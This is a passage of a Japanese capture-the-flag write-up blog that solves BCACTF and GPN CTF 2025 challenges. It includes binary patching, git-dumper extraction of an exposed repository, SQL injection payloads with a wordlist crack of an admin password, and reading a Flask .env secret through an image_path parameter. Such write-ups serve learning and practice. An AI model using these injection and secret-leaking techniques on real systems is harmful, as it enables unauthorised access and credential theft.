    printf("FLAG: %s\n",result);
    free(result);
  }
  else {
    puts("Memory allocation failed!");
  }
  return (int)(result == (char *)0x0);
}

void decrypt_flag(char *result)

{
  longlong lVar1;
  longlong lVar2;
  char *result_local;
  uchar fib_key;
  uchar prime_key;
  uchar combined_key;
  int i;
  longlong fib;
  longlong prime;
  
  for (i = 0; i < 0x1b; i = i + 1) {
    lVar1 = fibonacci_recursive_slow(i + 10000);
    lVar2 = get_nth_prime_slow(i + 500000);
    result[i] = encrypted_flag[i] ^ (byte)lVar1 ^ (byte)lVar2;
  }
  result[0x1b] = '\0';
  return;
}

decrypt_flag関数のアセンブルを見てみる。

                             decrypt_flag                                    XREF[4]:     Entry Point(*), main:001014f4(c), 
                                                                                          001020d8, 00102238(*)  
        001013d5 f3 0f 1e fa     ENDBR64
        001013d9 55              PUSH       RBP
        001013da 48 89 e5        MOV        RBP,RSP
        001013dd 48 83 ec 30     SUB        RSP,0x30
        001013e1 48 89 7d d8     MOV        qword ptr [RBP + result_local],result
        001013e5 c7 45 ec        MOV        dword ptr [RBP + i],0x0
                 00 00 00 00
        001013ec e9 9a 00        JMP        LAB_0010148b
                 00 00
                             LAB_001013f1                                    XREF[1]:     00101493(j)  
        001013f1 ba 10 27        MOV        EDX,0x2710
                 00 00
        001013f6 8b 45 ec        MOV        EAX,dword ptr [RBP + i]
        001013f9 01 d0           ADD        EAX,EDX
        001013fb 89 c7           MOV        result,EAX
        001013fd e8 a7 fd        CALL       fibonacci_recursive_slow                         longlong fibonacci_recursive_slo
                 ff ff
        00101402 48 89 45 f0     MOV        qword ptr [RBP + fib],RAX
        00101406 48 8b 55 f0     MOV        RDX,qword ptr [RBP + fib]
        0010140a 48 89 d0        MOV        RAX,RDX
        0010140d 48 c1 f8 3f     SAR        RAX,0x3f
        00101411 48 c1 e8 38     SHR        RAX,0x38
        00101415 48 01 c2        ADD        RDX,RAX
        00101418 0f b6 d2        MOVZX      EDX,DL
        0010141b 48 29 c2        SUB        RDX,RAX
        0010141e 48 89 d0        MOV        RAX,RDX
        00101421 88 45 e9        MOV        byte ptr [RBP + fib_key],AL
        00101424 ba 20 a1        MOV        EDX,0x7a120
                 07 00
        00101429 8b 45 ec        MOV        EAX,dword ptr [RBP + i]
        0010142c 01 d0           ADD        EAX,EDX
        0010142e 89 c7           MOV        result,EAX
        00101430 e8 e4 fe        CALL       get_nth_prime_slow                               longlong get_nth_prime_slow(int n)
                 ff ff
        00101435 48 89 45 f8     MOV        qword ptr [RBP + prime],RAX
        00101439 48 8b 55 f8     MOV        RDX,qword ptr [RBP + prime]
        0010143d 48 89 d0        MOV        RAX,RDX
        00101440 48 c1 f8 3f     SAR        RAX,0x3f
        00101444 48 c1 e8 38     SHR        RAX,0x38
        00101448 48 01 c2        ADD        RDX,RAX
        0010144b 0f b6 d2        MOVZX      EDX,DL
        0010144e 48 29 c2        SUB        RDX,RAX
        00101451 48 89 d0        MOV        RAX,RDX
        00101454 88 45 ea        MOV        byte ptr [RBP + prime_key],AL
        00101457 0f b6 45 e9     MOVZX      EAX,byte ptr [RBP + fib_key]
        0010145b 32 45 ea        XOR        AL,byte ptr [RBP + prime_key]
        0010145e 88 45 eb        MOV        byte ptr [RBP + combined_key],AL
        00101461 8b 45 ec        MOV        EAX,dword ptr [RBP + i]
        00101464 48 98           CDQE
        00101466 48 8d 15        LEA        RDX,[encrypted_flag]                             = EAh,"\t",12h,"G",98h,"-",DBh,1
                 b3 0b 00 00
        0010146d 0f b6 04 10     MOVZX      EAX,byte ptr [RAX + RDX*0x1]=>encrypted_flag     = EAh,"\t",12h,"G",98h,"-",DBh,1
        00101471 32 45 eb        XOR        AL,byte ptr [RBP + combined_key]
        00101474 89 c1           MOV        ECX,EAX
        00101476 8b 45 ec        MOV        EAX,dword ptr [RBP + i]
        00101479 48 63 d0        MOVSXD     RDX,EAX
        0010147c 48 8b 45 d8     MOV        RAX,qword ptr [RBP + result_local]
        00101480 48 01 d0        ADD        RAX,RDX
        00101483 89 ca           MOV        EDX,ECX
        00101485 88 10           MOV        byte ptr [RAX],DL
        00101487 83 45 ec 01     ADD        dword ptr [RBP + i],0x1
                             LAB_0010148b                                    XREF[1]:     001013ec(j)  
        0010148b b8 1b 00        MOV        EAX,0x1b
                 00 00
        00101490 39 45 ec        CMP        dword ptr [RBP + i],EAX
        00101493 0f 8c 58        JL         LAB_001013f1
                 ff ff ff
        00101499 b8 1b 00        MOV        EAX,0x1b
                 00 00
        0010149e 48 63 d0        MOVSXD     RDX,EAX
        001014a1 48 8b 45 d8     MOV        RAX,qword ptr [RBP + result_local]
        001014a5 48 01 d0        ADD        RAX,RDX
        001014a8 c6 00 00        MOV        byte ptr [RAX],0x0
        001014ab 90              NOP
        001014ac c9              LEAVE
        001014ad c3              RET

2つの関数をコールしているが、処理速度が遅いようだ。
同じ処理で、早い処理速度と思われる以下の関数もある。

・fibonacci_iterative_fast
・get_nth_prime_fast

バイナリを書き換え、こちらの関数をコールするようにしたい。
まず以下の部分で、fibonacci_recursive_slowをコールしている部分をfibonacci_iterative_fastのコールに変更したい。

001013fd e8 a7 fd ff ff

これは次の命令の-601のアドレスをコールするという意味になる。次の命令のアドレスは0x00101402である。

>>> hex(0x00101402 - 601)
'0x1011a9'

このアドレスはfibonacci_recursive_slow関数のアドレスと一致していることが確認できる。fibonacci_iterative_fast関数のアドレスは0x001011ecである。この差分を見てみる。

>>> 0x001011ec - 0x00101402
-534
>>> hex(0x100000000 - 534)
'0xfffffdea'

つまり以下のように書き換えればよい。

e8 ea fd ff ff

次に以下の部分で、get_nth_prime_slowをコールしている部分をget_nth_prime_fastのコールに変更したい。

00101430 e8 e4 fe ff ff

次の命令のアドレスは0x00101435である。get_nth_prime_fast関数のアドレスは0x0010136eである。この差分を見てみる。

>>> 0x0010136e - 0x00101435
-199
>>> hex(0x100000000 - 199)
'0xffffff39'

つまり以下のように書き換えればよい。

e8 39 ff ff ff

高速化したバイナリを実行する。

$ ./slow_flag_patched
DECRYPTION COMPLETE!
FLAG: bcactf{sl0w_m4th_f4st_c0d3}
bcactf{sl0w_m4th_f4st_c0d3}

People (web 50)

管理者のE-mailアドレスを探す問題。ユーザ一覧が記載されているが、そこから管理者を割り出すことはできない。HTMLソースを見て、検索すると、以下の箇所があることがわかる。

<span>Name: Roscoe Quigley</span><br />
<!-- username: administrator -->
<img src="https://gravatar.com/avatar/06003dfd18a22e6809e736cf27eaabb6" loading="lazy" />
<hr/>

画像リンクのURLにハッシュ値らしきものがあるので、CrackStationでクラックしてみると、以下であることがわかった。

mari_13_93@example.com
bcactf{mari_13_93@example.com}

What? (web 75)

異なる文字列でmd5の結果衝突するものを指定すればよいと推測する。
以前も使った、以下のページの情報を使う。

https://www.johndcook.com/blog/2024/03/20/md5-hash-collision/

以下の2つを入力し、Compare hashesをクリックすると、フラグが表示された。

TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak
TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak
bcactf{wh0_kn0ws_4nym0r3_11fab08d769a}

Source Under Control (web 75)

$ curl http://challs.bcactf.com:28973/.git/HEAD 
ref: refs/heads/master

GITリポジトリが含まれているので、すべてダンプする。

$ git-dumper http://challs.bcactf.com:28973/.git git           
[-] Testing http://challs.bcactf.com:28973/.git/HEAD [200]
[-] Testing http://challs.bcactf.com:28973/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://challs.bcactf.com:28973/.git/ [200]
[-] Fetching http://challs.bcactf.com:28973/.gitignore [404]
[-] http://challs.bcactf.com:28973/.gitignore responded with status code 404
[-] Fetching http://challs.bcactf.com:28973/.git/description [200]
[-] Fetching http://challs.bcactf.com:28973/.git/index [200]
[-] Fetching http://challs.bcactf.com:28973/.git/info/ [200]
[-] Fetching http://challs.bcactf.com:28973/.git/branches/ [200]
[-] Fetching http://challs.bcactf.com:28973/.git/logs/ [200]
[-] Fetching http://challs.bcactf.com:28973/.git/hooks/ [200]
[-] Fetching http://challs.bcactf.com:28973/.git/objects/ [200]
[-] Fetching http://challs.bcactf.com:28973/.git/refs/ [200]
[-] Fetching http://challs.bcactf.com:28973/.git/config [200]
[-] Fetching http://challs.bcactf.com:28973/.git/COMMIT_EDITMSG [200]
[-] Fetching http://challs.bcactf.com:28973/.git/HEAD [200]
[-] Fetching http://challs.bcactf.com:28973/.git/info/exclude [200]
[-] Fetching http://challs.bcactf.com:28973/.git/logs/refs/ [200]
[-] Fetching http://challs.bcactf.com:28973/.git/logs/HEAD [200]
[-] Fetching http://challs.bcactf.com:28973/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://challs.bcactf.com:28973/.git/hooks/commit-msg.sample [200]
[-] Fetching http://challs.bcactf.com:28973/.git/hooks/fsmonitor-watchman.sample [200]
[-] Fetching http://challs.bcactf.com:28973/.git/hooks/pre-merge-commit.sample [200]
[-] Fetching http://challs.bcactf.com:28973/.git/hooks/post-update.sample [200]
[-] Fetching http://challs.bcactf.com:28973/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://challs.bcactf.com:28973/.git/hooks/pre-commit.sample [200]
[-] Fetching http://challs.bcactf.com:28973/.git/hooks/pre-push.sample [200]
[-] Fetching http://challs.bcactf.com:28973/.git/hooks/pre-rebase.sample [200]
[-] Fetching http://challs.bcactf.com:28973/.git/hooks/pre-receive.sample [200]
[-] Fetching http://challs.bcactf.com:28973/.git/hooks/update.sample [200]
[-] Fetching http://challs.bcactf.com:28973/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching http://challs.bcactf.com:28973/.git/hooks/push-to-checkout.sample [200]
[-] Fetching http://challs.bcactf.com:28973/.git/objects/20/ [200]
[-] Fetching http://challs.bcactf.com:28973/.git/objects/19/ [200]
[-] Fetching http://challs.bcactf.com:28973/.git/objects/23/ [200]
[-] Fetching http://challs.bcactf.com:28973/.git/objects/54/ [200]
[-] Fetching http://challs.bcactf.com:28973/.git/objects/57/ [200]
[-] Fetching http://challs.bcactf.com:28973/.git/objects/78/ [200]
[-] Fetching http://challs.bcactf.com:28973/.git/objects/info/ [200]
[-] Fetching http://challs.bcactf.com:28973/.git/objects/e2/ [200]
[-] Fetching http://challs.bcactf.com:28973/.git/objects/pack/ [200]
[-] Fetching http://challs.bcactf.com:28973/.git/refs/heads/ [200]
[-] Fetching http://challs.bcactf.com:28973/.git/refs/tags/ [200]
[-] Fetching http://challs.bcactf.com:28973/.git/logs/refs/heads/ [200]
[-] Fetching http://challs.bcactf.com:28973/.git/objects/20/3bcac737f5fa7738030087d5f611d66b1c221f [200]
[-] Fetching http://challs.bcactf.com:28973/.git/objects/19/adcbfb99910867a069cb8a5d8e915166bb4393 [200]
[-] Fetching http://challs.bcactf.com:28973/.git/objects/23/96395ea85c16c499819f41a56df44c37cb6f1f [200]
[-] Fetching http://challs.bcactf.com:28973/.git/objects/54/926290d2704028416d2e6ae6186b44118447a2 [200]
[-] Fetching http://challs.bcactf.com:28973/.git/objects/57/db9af55c7cb958f05d900e05bea655852626f7 [200]
[-] Fetching http://challs.bcactf.com:28973/.git/objects/78/8fd0392f71c1978035ad441ee25b2163d0ceae [200]
[-] Fetching http://challs.bcactf.com:28973/.git/objects/e2/431ef1507038d74383e4a91b94a597d0fd8518 [200]
[-] Fetching http://challs.bcactf.com:28973/.git/refs/heads/master [200]
[-] Fetching http://challs.bcactf.com:28973/.git/logs/refs/heads/master [200]
[-] Sanitizing .git/config
[-] Running git checkout .
Updated 1 path from the index

ダンプしたGITリポジトリのオブジェクトを見ていく。

$ cd git/.git
$ cat refs/heads/master
2396395ea85c16c499819f41a56df44c37cb6f1f
$ python2 -c 'import zlib; print zlib.decompress(open("objects/23/96395ea85c16c499819f41a56df44c37cb6f1f").read())'
commit 216tree 57db9af55c7cb958f05d900e05bea655852626f7
parent 19adcbfb99910867a069cb8a5d8e915166bb4393
author John Smith <jsmith@example.com> 1750479855 +0000
committer John Smith <jsmith@example.com> 1750479861 +0000

Oops!

$ python2 -c 'import zlib; print zlib.decompress(open("objects/57/db9af55c7cb958f05d900e05bea655852626f7").read())' | xxd -g 1
00000000: 74 72 65 65 20 33 38 00 31 30 30 36 34 34 20 69  tree 38.100644 i
00000010: 6e 64 65 78 2e 68 74 6d 6c 00 78 8f d0 39 2f 71  ndex.html.x..9/q
00000020: c1 97 80 35 ad 44 1e e2 5b 21 63 d0 ce ae 0a     ...5.D..[!c....

$ python2 -c 'import zlib; print zlib.decompress(open("objects/78/8fd0392f71c1978035ad441ee25b2163d0ceae").read())'
blob 16<h1>Hello</h1>

$ python2 -c 'import zlib; print zlib.decompress(open("objects/19/adcbfb99910867a069cb8a5d8e915166bb4393").read())'
commit 177tree 203bcac737f5fa7738030087d5f611d66b1c221f
author John Smith <jsmith@example.com> 1750479844 +0000
committer John Smith <jsmith@example.com> 1750479844 +0000

Initial commit

$ python2 -c 'import zlib; print zlib.decompress(open("objects/20/3bcac737f5fa7738030087d5f611d66b1c221f").read())' | xxd -g 1
00000000: 74 72 65 65 20 33 38 00 31 30 30 36 34 34 20 69  tree 38.100644 i
00000010: 6e 64 65 78 2e 68 74 6d 6c 00 e2 43 1e f1 50 70  ndex.html..C..Pp
00000020: 38 d7 43 83 e4 a9 1b 94 a5 97 d0 fd 85 18 0a     8.C............

$ python2 -c 'import zlib; print zlib.decompress(open("objects/e2/431ef1507038d74383e4a91b94a597d0fd8518").read())'
blob 74<h1>Hello</h1>
<p>bcactf{oops_didnt_mean_to_serve_that_c06677d3437e}</p>
bcactf{oops_didnt_mean_to_serve_that_c06677d3437e}

Neuroflux Dynamics (web 75)

readonlyが有効なため、実質/registerの機能は使えない。ログインできれば、フラグが表示される。/searchの機能で、ユーザ情報をリークさせる必要がありそう。
Nameに以下を入力し、検索する。

AA' union select username from users --

この結果、以下のように表示された。

[
    {
        "name": "admin605158466"
    }
]

次にNameに以下を入力し、検索する。

AA' union select password from users --

この結果、以下のように表示された。

[
    {
        "name": "666233353964316162363434636230653962366164333364336461653337303938652236d5"
    }
]

パスワードは以下のように作成されている。

・salt: ランダム17バイト文字列の16進数表記(長さ34)
・hashedPw: salt + passwordのsha1ダイジェスト(長さ20)
・hex: saltとhashedPwを結合し、先頭37(=17+20)で切ったもの
・パスワードはhexを16進数表記したもの

つまり以下のようになっている。

salt: 66623335396431616236343463623065396236616433336433646165333730393865のhexデコード
hashの先頭3バイト: 2236d5
$ echo 66623335396431616236343463623065396236616433336433646165333730393865 | xxd -r -p
fb359d1ab644cb0e9b6ad33d3dae37098e

hashは切られているので、総当たりで条件を満たすパスワードを探す。

#!/usr/bin/env python3
import hashlib

salt = 'fb359d1ab644cb0e9b6ad33d3dae37098e'
h_head = '2236d5'

with open('/usr/share/wordlists/rockyou.txt', 'rb') as f:
    words = f.read().splitlines()

for word in words:
    h = hashlib.sha1(salt.encode() + word).hexdigest()
    if h[:6] == h_head:
        password = word.decode()
        print(password)
        break

この結果以下のパスワードが条件を満たすことがわかった。

cll4411

以下の情報でログインすると、フラグが表示された。

Username: admin605158466
Password: cll4411
bcactf{th1rd_annu4l_dyn4m1cs_ch4ll_e89a4a498c89}

Flag Flag (foren 25)

画像には横に異なる色が5色並んでいる。RGBをASCIIコードとして文字にし、最後に画像にあるように0x7Dの文字を追加する。

#!/usr/bin/env python3
from PIL import Image

img = Image.open('flag-flag.png').convert('RGB')
w, h = img.size

flag = ''
for x in range(50, w, 100):
    r, g, b = img.getpixel((x, 0))
    flag += chr(r)
    flag += chr(g)
    flag += chr(b)

flag += chr(0x7d)
print(flag)
bcactf{1jN7uYkj}

History (foren 50)

docxファイルが添付されている。プロパティの各属性にフラグの断片が見つかった。

会社:bcactf{1-1043-1
分類:t4li4n-b7ainr0
タグ:t-d221-5092}

すべて結合すると、フラグになった。

bcactf{1-1043-1t4li4n-b7ainr0t-d221-5092}

Recovery Shop (foren 50)

https://www.iloveimg.com/ja/convert-to-jpg/heic-to-jpgで画像変換する。変換後のzipファイル内にあるrecovers.jpgにフラグが書いてあった。

bcactf{th!ss_@!e_83klts_fr_b!n@na_f$_l@gOrz}

plain-sight (foren 75)

PDFが添付されている。テキストの右側に何かオブジェクトがあるので、コピペしてペイントに貼り付ける。

つぶれたようになっているので、画像でつぶれている方向の倍率だけ上げ、左回転させると、フラグが現れた。

bcactf{Now_y0U_s3e_mE}

Tarred and Feathered (foren 75)

7-zipで解凍すると、.cache\.hidden_logs\.​flag.txtにフラグが書いてあった。

bcactf{you_tarred_me_apart_1bf1fb1}

its all there (foren 100)

$ stegseek goonking.jpg /usr/share/wordlists/rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "Password123"      
[i] Original filename: "flag.txt".
[i] Extracting to "goonking.jpg.out".

$ cat goonking.jpg.out                                                                   
bcactf{1_701d_y0u_17_w45_7h3r3}
bcactf{1_701d_y0u_17_w45_7h3r3}

BMovie (crypto 50)

サーバの処理概要は以下の通り。

・menu()
 ・signUp()
  ・uname: 入力
  ・pwd: 入力
  ・adminHash: uname + ';' + pwdのbcryptハッシュ
  ・next: 入力(y/n)
  ・nextが"y"の場合
   ・longin()
    ・user: 入力
    ・password: 入力
    ・userとunameが一致している、またはpasswordとpwdが一致している場合、エラー
    ・user + ";" + passwordがadminHashと一致している場合、フラグを表示
  ・nextが"n"の場合、終了

例えば、以下のようにすれば、ハッシュの元の文字列が同じため、衝突する。

uname   : a
pwd     : b;c
user    : a;b
password: c
$ nc challs.bcactf.com 21649
Welcome! To begin, please register an admin account to hold the flag.
Enter a username for the administrator: a
Enter a secure password for the administrator account: b;c
Would you like to view the flag now? (y/n): y
Choose an account to log into: 
Enter username: a;b
Enter password: c
bcactf{!_c@n7_BEE_l1ev3_!t_fwrhiu}
bcactf{!_c@n7_BEE_l1ev3_!t_fwrhiu}

ez-xor (crypto 50)

CyberChefで以下の順で復号する。

・From Base64
・XOR Brute Force

この結果、以下の通り復号できた。

Key = 42: bcactf{SkibiDiSuff_RizzleRme_Sigma_Land0_Auragon_Baron_Upgraded}
bcactf{SkibiDiSuff_RizzleRme_Sigma_Land0_Auragon_Baron_Upgraded}

primes (crypto 50)

素数でない数値のインデックスをASCIIコードとして文字にする。

#!/usr/bin/env python3
import sympy
from Crypto.Util.number import *

with open('primes.txt', 'r') as f:
    primes = list(map(int, f.read().split(', ')))

flag = ''
for i in range(len(primes)):
    if not isPrime(primes[i]):
        flag += chr(i)

print(flag)

実行結果は以下の通り。

acefiortz

英単語にはならないので、アナグラムになっていると推測し、https://www.thewordfinder.com/anagram-solver/で復元する。

factorize
bcactf{factorize}

Nimber (crypto 75)

フラグは"bcactf{"から始まることを前提にEncrypted FlagとXORしてみる。

>>> from base64 import *
>>> enc = 'srlrs65sq5Q7vZg5ooVHkKl+46hH4ZRurQ=='
>>> enc = b64decode(enc)
>>> enc[0] ^ ord('b')
208
>>> enc[1] ^ ord('c')
218
>>> enc[2] ^ ord('a')
10
>>> enc[3] ^ ord('c')
208
>>> enc[4] ^ ord('t')
218
>>> enc[5] ^ ord('f')
10
>>> enc[6] ^ ord('{')
208

Heapsの値はよくわからないが、XOR鍵が208, 218, 10になっているようなので、これを元に復号する。

>>> key = [208, 218, 10]
>>> ''.join([chr(enc[i] ^ key[i % len(key)]) for i in range(len(enc))])
'bcactf{N1mB3r_M@st3rM1Nd}'
bcactf{N1mB3r_M@st3rM1Nd}

Q (75)

サーバの処理概要は以下の通り。

・secret_str: ランダム16バイト文字列の16進数表記
・secret: secret_strの各文字のASCIIコードの配列
・以下5000回繰り返し
 ・encoded: secretの各値valueに2000未満のランダム整数を足した配列
 ・encodedを表示
・user_secret: 入力
・user_secretがsecret_strと一致する場合、フラグを表示

5000個の値から、'0'~'9'と'a'~'f'にあてはまらないものを外していき、secret_strの可能性を絞る。

#!/usr/bin/env python3
import socket
import string

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challs.bcactf.com', 32783))

secrets = [ord(c) for c in list(string.hexdigits[:16])]
secrets_list = [[c for c in secrets] for _ in range(32)]

for _ in range(5000):
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    encoded = eval(data)
    for i in range(32):
        for c in secrets:
            v = encoded[i] - c
            if v < 0 or v >= 2000:
                if c in secrets_list[i]:
                    secrets_list[i].remove(c)

print(secrets_list)

secret_str = ''
for i in range(32):
    secret_str += chr(secrets_list[i][0])

data = recvuntil(s, b'? ')
print(data + secret_str)
s.sendall(secret_str.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

必ず1つに絞られるわけではないので何回も実行したら、フラグが表示された。

                :
[1231, 1460, 783, 1164, 1825, 498, 721, 1186, 1726, 340, 934, 336, 368, 1606, 1583, 1466, 739, 1700, 965, 492, 800, 1761, 582, 910, 1491, 1226, 1261, 1165, 299, 127, 1643, 1327]
[287, 332, 1707, 1543, 1912, 552, 1417, 1862, 149, 710, 1441, 1338, 1309, 742, 1552, 1705, 394, 1362, 2024, 1189, 1637, 1495, 1947, 823, 1473, 917, 1694, 1248, 1845, 915, 848, 467]
[[48], [54], [97], [101], [102], [54], [57], [97, 98, 99], [53], [49], [51], [102], [54], [50], [53], [55], [56], [55, 56], [48], [48, 49, 50], [53], [51], [54], [102], [57], [54], [55], [54], [97], [54], [53], [98, 99]]
What is the secret? 06aef69a513f62578700536f9676a65b
bcactf{1_h0p3_th4t_w0rk3d_de89fd3af506}
bcactf{1_h0p3_th4t_w0rk3d_de89fd3af506}

SMILES Please! (crypto 125)

化合物の標準的なSMILES文字列のハッシュが提示されているので、その化合物の名前を答える問題。
まずSMILESのリストを入手する。

$ wget ftp://ftp.ncbi.nlm.nih.gov/pubchem/Compound/Extras/CID-SMILES.gz 
--2025-06-22 23:42:06-- ftp://ftp.ncbi.nlm.nih.gov/pubchem/Compound/Extras/CID-SMILES.gz 
           => 「CID-SMILES.gz」
ftp.ncbi.nlm.nih.gov (ftp.ncbi.nlm.nih.gov) を解決中... 130.14.250.12, 130.14.250.13, 130.14.250.31, ... 
ftp.ncbi.nlm.nih.gov に接続中(ftp.ncbi.nlm.nih.gov)|130.14.250.12|:21... 接続されました。
匿名としてログインしています... ログインしました! 
==> SYST ... 完了。 ==> PWD ... 完了。
==> TYPE I ... 完了。 ==> CWD (1) /pubchem/Compound/Extras ... 完了。
==> SIZE CID-SMILES.gz ... 1444297135 
==> PASV ... 完了。 ==> RETR CID-SMILES.gz ... 完了。
長さ: 1444297135 (1.3G) (非信頼) 

CID-SMILES.gz 100%[===============================================================================================================================================================================>] 1.36G 1.20MB/秒 (1632) 

2025-06-22 23:58:42 (1.40 MB/秒) - 'CID-SMILES.gz' を保存しました [1459702275] 

7zipでCID-SMILES.gzを解凍する。解凍したデータは量が多いので、先頭100000行に絞る。

$ head -n 100000 CID-SMILES > top100000.smiles

辞書ができたので、ブルートフォースする。

#!/usr/bin/env python3
import hashlib

with open('top100000.smiles', 'r') as f:
    lines = f.read().splitlines()

target = '1c602d1f2b2e45361760adfae4f2e5b99c976a34daea4a92a42abc6bc6556c5f'

for line in lines:
    smile = line.split('\t')[1]
    h = hashlib.sha256(smile.encode()).hexdigest()
    if h == target:
        print(smile)
        break

この結果は以下の通り。

CC1CCC2C1C(=O)OC=C2C

https://www.chemexper.com/index.shtmlでこのSMILESを検索する。
この検索結果、2つ出てくるが知られているものは片方だけ。

https://www.chemexper.com/searchResult.shtml?format=ccd2013%2Cccd&target=structure&options=brandqtyoffercrm&i=ee5bfd&country=JP&searchValue=CC1CCC2C1C%28%3DO%29OC%3DC2C&searchTemplate=rn.value%3D%22%3F%22+elsor+iupac.value%3D%22%3F%22+elsor+mol.value%3D%22%3F%22+elsor+mol.value%3D%7E%22%3F%22+elsor+uniqueMolInfo.inchi%3D%22%3F%22+elsor+uniqueMolInfo.inchikey%3D%22%3F%22+elsor+mf.value%3D%22%3F%22+elsor+entry.catalogID%3D%22%3F%22+elsor+%28iupac.value%3D%7E%22%3F%22+or+catalog.description%3D%7E%22%3F%22%29&Search=Search

この情報を確認すると、一般名称は以下の通りであることがわかる。

Nepetalactone
bcactf{nepetalactone}

A Stuffed Hot Dog (crypto 150)

RSA暗号で、eの値が極端に大きいため、Wiener's Attackで復号する。

#!/usr/bin/env sage
from Crypto.Util.number import *

def wiener(e, n):
    m = 12345
    c = pow(m, e, n)
    q0 = 1

    list1 = continued_fraction(Integer(e)/Integer(n))
    conv = list1.convergents()
    for i in conv:
        k = i.numerator()
        q1 = i.denominator()

        for r in range(30):
            for s in range(30):
                d = r*q1 + s*q0
                m1 = pow(c, d, n)
                if m1 == m:
                    return d
        q0 = q1
    return None

with open('ciphertext.txt', 'r') as f:
    params = f.read().splitlines()

ct = int(params[0].split(' ')[-1])
e = int(params[1].split(' ')[-1])
N = int(params[2].split(' ')[-1])

d = wiener(e, N)
m = pow(ct, d, N)

flag = long_to_bytes(int(m)).decode()
print(flag)
bcactf{WIENeR$-@7t4ck-$t1L1-w0rkS}

survey (misc 25)

アンケートに答えたら、フラグが表示された。

bcactf{THankS_fOr_Pl4YiNG_286y1j46g4c6d}

GPN CTF 2025 Writeup

この大会は2025/6/20 19:00(JST)~2025/6/22 7:00(JST)に開催されました。
今回もチームで参戦。結果は183点で664チーム中236位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (Miscellaneous)

ルールにフラグの例が書いてあった。

GPNCTF{let_the_games_begin!}

MiniDSP (Reversing)

$ strings FUUUNNN_SURLEY | grep GPNCTF{
GPNCTF{y0U_r3AL1y_Kn0w_Y0UR_1n57rUmENTs_now_PR_1t_To_6H1dr4}
GPNCTF{y0U_r3AL1y_Kn0w_Y0UR_1n57rUmENTs_now_PR_1t_To_6H1dr4}

Intro to web - Part 1 (Web)

.envにフラグがあるので、読み取る必要がある。適当なユーザでログインする。
クッキーのsessionを使って、image_pathに.envを指定してノートを作成する。

$ curl https://grandtown-of-apocalyptic-abundance.gpn23.ctf.kitctf.de/note/new -b "session=.eJyrViotTi1SsqpWKsrPSVWygnB1wFReYi5IJDElNzNPqbYWAECoDrg.aFU8hw.DK9LRZ6KtzR6wiz2CkiYGbAntxA" -d "title=env&content=get_env&image_path=.env"
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/note/cbff3240-17cd-4b0c-a4ed-626e63d9a669">/note/cbff3240-17cd-4b0c-a4ed-626e63d9a669</a>. If not, click the link.
* shutting down connection #0

https://grandtown-of-apocalyptic-abundance.gpn23.ctf.kitctf.de/note/cbff3240-17cd-4b0c-a4ed-626e63d9a669にアクセスすると、作成したノートが見れる。.envの画像は表示できていないが、HTMLソースを見ると、以下のようになっている。

<img class="object-cover lg:w-1/2 lg:mx-6 w-full h-full rounded-lg"
     src="data:image/png;base64, RkxBU0tfQVBQX1NFQ1JFVF9LRVk9NTVhNzkxOGNmZTk2MTIxZTcxYjhhNjYzMGVhNzgyZDgxMDhhM2ViYzJmN2EwYjNhMmU2ODAyZTE3NDQyODk2YjM1YjYwZGViYWUzODBiZjk5YzczNGNhYWFhZTdmODYzMjNlOQpGTEFHX1NUQUdFXzE9R1BOQ1RGe2pVczdfbDNBS19BTGxfdGhFX3RIMW5HU30K" alt="">

base64デコードする。

$ echo RkxBU0tfQVBQX1NFQ1JFVF9LRVk9NTVhNzkxOGNmZTk2MTIxZTcxYjhhNjYzMGVhNzgyZDgxMDhhM2ViYzJmN2EwYjNhMmU2ODAyZTE3NDQyODk2YjM1YjYwZGViYWUzODBiZjk5YzczNGNhYWFhZTdmODYzMjNlOQpGTEFHX1NUQUdFXzE9R1BOQ1RGe2pVczdfbDNBS19BTGxfdGhFX3RIMW5HU30K | base64 -d
FLASK_APP_SECRET_KEY=55a7918cfe96121e71b8a6630ea782d8108a3ebc2f7a0b3a2e6802e17442896b35b60debae380bf99c734caaaae7f86323e9
FLAG_STAGE_1=GPNCTF{jUs7_l3AK_ALl_thE_tH1nGS}
GPNCTF{jUs7_l3AK_ALl_thE_tH1nGS}

Intro to web - Part 2 (Web)

2つ目のフラグは'admin'または'moderator'のroleを持っていれば、見ることができる。
まず、Part 1の方法で、FLASK_APP_SECRET_KEYを入手する。

$ curl https://portfield-of-epic-fortune.gpn23.ctf.kitctf.de/note/new -b "session=.eJyrViotTi1SsqpWKsrPSVWygnB1wFReYi5IJDElNzNPqbYWAECoDrg.aFVarw.-3lxK__CjyKRAeZ6b4T5WbofB4Y" -d "title=env&content=get_env&image_path=.env"
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/note/54fc8669-04f5-45a0-aa79-43c664b3e4e1">/note/54fc8669-04f5-45a0-aa79-43c664b3e4e1</a>. If not, click the link.

https://portfield-of-epic-fortune.gpn23.ctf.kitctf.de/note/54fc8669-04f5-45a0-aa79-43c664b3e4e1にアクセスし、base64文字列を取得する。取得したbase64文字列をデコードする。

$ echo RkxBU0tfQVBQX1NFQ1JFVF9LRVk9NmE0OTUyNmVlMDFkYmQzMTExZDhlMGFiM2Y1ZDhjNWRlODI1OTMxOTM1NzFmODA3Yjg4OTJkYzg5MWM0NjQxMDYxOTNhNzk4ZWYwMGQwMDdkNzQ2MGVmZmU3NDE1OGZmNjk2OQpGTEFHX1NUQUdFXzE9R1BOQ1RGe2ZsYWdfc3RhZ2VfMV90aGVfcmVhbF9mbGFnX3dpbGxfYmVfb25fdGhlX3Byb3ZpZGVkX2luc3RhbmNlfQo= | base64 -d
